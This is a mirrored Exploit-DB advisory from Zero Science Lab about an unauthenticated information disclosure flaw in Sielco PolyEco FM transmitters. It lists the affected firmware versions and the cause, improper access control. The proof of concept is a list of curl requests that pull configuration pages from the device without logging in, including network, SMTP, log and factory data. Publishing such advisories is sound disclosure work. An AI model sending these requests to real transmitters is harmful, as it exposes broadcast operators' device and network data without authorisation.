Sielco PolyEco Digital FM Transmitter 2.0.6 – Unauthenticated Information Disclosure

• Exploit Database
• 118 阅读

• 作者： LiquidWorm
  日期： 2023-04-14
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/51370/
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  ## Exploit Title: Sielco PolyEco Digital FM Transmitter 2.0.6 - Unauthenticated Information Disclosure ## Exploit Author: LiquidWorm   Vendor: Sielco S.r.l Product web page: https://www.sielco.org Affected version: PolyEco1000 CPU:2.0.6 FPGA:10.19 PolyEco1000 CPU:1.9.4 FPGA:10.19 PolyEco1000 CPU:1.9.3 FPGA:10.19 PolyEco500 CPU:1.7.0 FPGA:10.16 PolyEco300 CPU:2.0.2 FPGA:10.19 PolyEco300 CPU:2.0.0 FPGA:10.19   Summary: PolyEco is the innovative family of high-end digital FM transmitters of Sielco. They are especially suited as high performance power system exciters or compact low-mid power transmitters. The same cabinet may in fact be fitted with 50, 100, 300, 500, 1000W power stage (PolyEco50, 100, 300, 500, 1000).   All features can be controlled via the large touch-screen display 4.3" or remotely. Many advanced features are inside by default in the basic version such as: stereo and RDS encoder, audio change-over, remote-control via LAN and SNMP, "FFT" spectral analysis of the audio sources, SFN synchronization and much more.   Desc: Sielco PolyEco is affected by an information disclosure vulnerability due to improper access control enforcement. An unauthenticated remote attacker can exploit this, via a specially crafted request to gain access to sensitive information.   Tested on: lwIP/2.1.1 (http://savannah.nongnu.org/projects/lwip)     Vulnerability discovered by Gjoko 'LiquidWorm' Krstic Macedonian Information Security Research and Development Laboratory Zero Science Lab - https://www.zeroscience.mk - @zeroscience     Advisory ID: ZSL-2023-5766 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5766.php     26.01.2023   --     $ curl -s http://RADIOFM/factory.ssi $ curl -s http://RADIOFM/rds.ssi $ curl -s http://RADIOFM/ip.ssi $ curl -s http://RADIOFM/alarm.ssi $ curl -s http://RADIOFM/i2s.ssi $ curl -s http://RADIOFM/time.ssi $ curl -s http://RADIOFM/fft.ssi $ curl -s http://RADIOFM/info.ssi $ curl -s http://RADIOFM/status.ssi $ curl -s http://RADIOFM/statusx.ssi $ curl -s http://RADIOFM/audio.ssi $ curl -s http://RADIOFM/smtp.ssi $ curl -s http://RADIOFM/rf.ssi $ curl -s http://RADIOFM/rfa.ssi $ curl -s http://RADIOFM/ping.ssi $ curl -s http://RADIOFM/lan.ssi $ curl -s http://RADIOFM/kappa.ssi $ curl -s http://RADIOFM/dbrt.ssi $ curl -s http://RADIOFM/audiom.ssi $ curl -s http://RADIOFM/log.ssi